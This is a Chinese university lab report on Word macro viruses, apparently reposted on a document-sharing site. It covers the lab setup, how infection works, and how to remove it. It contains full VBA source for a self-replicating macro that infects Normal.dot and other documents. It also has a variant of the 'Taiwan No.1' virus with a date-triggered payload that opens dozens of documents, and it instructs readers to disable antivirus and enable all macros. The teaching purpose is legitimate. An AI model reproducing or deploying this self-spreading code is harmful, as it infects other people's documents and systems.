计算机宏病毒分析及清除实验.docx
《计算机宏病毒分析及清除实验.docx》由会员分享,可在线阅读,更多相关《计算机宏病毒分析及清除实验.docx(8页珍藏版)》请在冰豆网上搜索。
计算机宏病毒分析及清除实验
计算机宏病毒分析及清除实验
一、实验目的
1.了解“宏病毒”机理。
2.掌握清除宏病毒的方法。
3.掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境
1.WindowsXP操作系统。
2.OfficeWord2010字处理软件。
三、实验要求
1.宏的编写。
2.理解宏病毒的作用机制。
四、实验内容与步骤:
1.软件设置
首先检查电脑里杀毒软件是否开启,如果开启需要关闭它。
然后打开一个word文档(我直接打开的“计算机宏病毒分析及清除实验”),依次单击“文件”——“选项”,然后在弹出的“word选项”对话框中单击“信任中心”,然后再单击“信任中心设置”——“宏设置”。
选择“启用所有宏”,“信任对VBA工程对象模型的访问”。
2.宏病毒实现自我复制功能
打开一个word文档(我打开的“计算机宏病毒分析及清除实验”),然后按Alt+F11调用宏编写窗口,在左侧菜单栏中依次单击“project(计算机宏病毒分析及清除实验)”—“MicrosoftWord对象”—“ThisDocument”,在这里输入实验代码单击“保存”,这时该文档就含有了宏病毒,然后单击“执行”,就立刻弹出一个窗口,第二次打开该文档,就自动执行以上代码,并将自身复制到Normal.dot和当前文档的ThisDocument中,此时所有的word文档关闭时,都将运行以上的病毒代码,产生影响。
我又新建立了一个名字为“111”的word文档,打开后关闭就弹出一个提示框。
代码如下:
'Macro-1:
Micro-Virus
SubDocument_Open()
OnErrorResumeNext
Application.DisplayStatusBar=False
Options.SaveNormalPrompt=False
Setourcodemodule=ThisDocument.VBProject.VBComponents
(1).CodeModule
Sethost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
Sethost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
Withhost
If.Lines(1,1)<>"'Micro-Virus"Then
.DeleteLines1,.CountOfLines
.InsertLines1,ourcodemodule.Lines(1,100)
.ReplaceLine2,"SubDocument_Close()"
IfThisDocument=NormalTemplateThen
.ReplaceLine2,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
MsgBox"B1104-何家红-16"
EndSub
结果显示如下:
上图为复制完代码保存后,单击执行的结果图
上图为模板被感染病毒的结果图
上图为新建文档“111”被感染病毒结果图
3.具有一定破坏性的宏
本程序是以著名宏病毒“台湾一号”的恶意代码部分为基础,对源代码进行了适当的修改,这样降低了破坏性,否则实验室机器将受到严重影响。
它的环境和操作方法与上面的相同。
代码如下:
'Macro_2:
moonlight
Dimnm(4)
SubDocument_Open()
'DisableInput1
Setourcodemodule=ThisDocument.VBProject.VBComponents
(1).CodeModule
Sethost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
Sethost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
Withhost
If.Lines(1,1)<>"'moonlight"Then
.DeleteLines1,.CountOfLines
.InsertLines1,ourcodemodule.Lines(1,100)
.ReplaceLine3,"SubDocument_Close()"
IfThisDocument=NormalTemplateThen
.ReplaceLine3,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
Count=0
IfYear(Now())=2013Then
try:
OnErrorGoTotry
test=-1
con=1
tog$=""
i=0
Whiletest=-1
Fori=0To4
nm(i)=Int(Rnd()*10)
con=con*nm(i)
Ifi=4Then
tog$=tog$+Str$(nm(4))+"=?
"
GoTobeg
EndIf
tog$=tog$+Str$(nm(i))+"*"
Nexti
beg:
Beep
ans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错,只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1MacroVirus")
IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then
Documents.Add
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Beep
WithSelection.Font
.Name="细明体"
.Size=16
.Bold=1
.Underline=1
EndWith
Selection.InsertAfterText:
="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic=0
Beep
Selection.InsertAfterText:
="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="不要看我......"
GoToout
Else
Count=Count+1
Forj=1To20
Beep
Documents.Add
Nextj
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Selection.InsertAfterText:
="宏病毒"
IfCount=2ThenGoToout
GoTotry
EndIf
Wend
EndIf
out:
EndSub
结果显示如下:
上图为打开被感染病毒的word文档弹出的窗口
上面两个图是计算错误后出现的结果。
新建了20个word文档,并且继续进行计算。
上图为计算正确的结果图,即新建一个文档,并跳出字幕。
4.清除宏病毒
(1)打开受感染的word文档,按“Alt+F11”进入宏编辑环境,将每个“Project”下的“ThisDocument”中的病毒代码删除然后保存。
(2)打开模板“NormalMicrosoftWord”对象将“ThisDocument”中的病毒代码删除然后保存。
注意:
清除病毒时候,先清除每个“Project”内的代码,在最后一个被感染的文档中删除模板内的代码,否则重新打开其他被感染病毒的文档,模板再次被感染。
五、实验心得
通过本次实验我实际感受到了宏病毒传播的可怕性,他会无限的循环,执行恶意代码,也了解了它执行的基本流程。
另外在试验中我遇见了几个问题实验我认为应该注意以下几个问题:
1.实验时候首先要注意实验环境与给的参考资料环境是否一样,本次实验就不一样,所以有些步骤会稍有不同,不能盲目的照着参考资料做实验,要具体研究实验的原理,然后进行实验验证。
2.根据这个实验应该是被感染宏病毒后的文档在打开和关闭时候都有图框出现,因为宏病毒在传播复制代码时候应该自动更改函数名,colse变为open,但是我的实验只有在关闭文档时出现图框,在打开文档时并不出现,在逐条执行语句时候也执行open了但是具体原因还是令我困惑。
3.在具有一定性破坏实验时,要注意代码中的日期与电脑中的日期是否一致,我开始时候就没注意,结果执行好几次也不成功,后来将计算机中的日期改成了与程序中的日期一致,再次执行,就可看见结果。
但是描述是应该1号发作,而我并没有改成1号,也可以执行了,我推测可能是我手动强性执行的结果,或者老师为了实验结果,将实验代码修改了。
4.清除病毒还可以用以下方法
(此文档部分内容来源于网络,如有侵权请告知删除,文档可自行编辑修改内容,供参考,感谢您的配合和支持)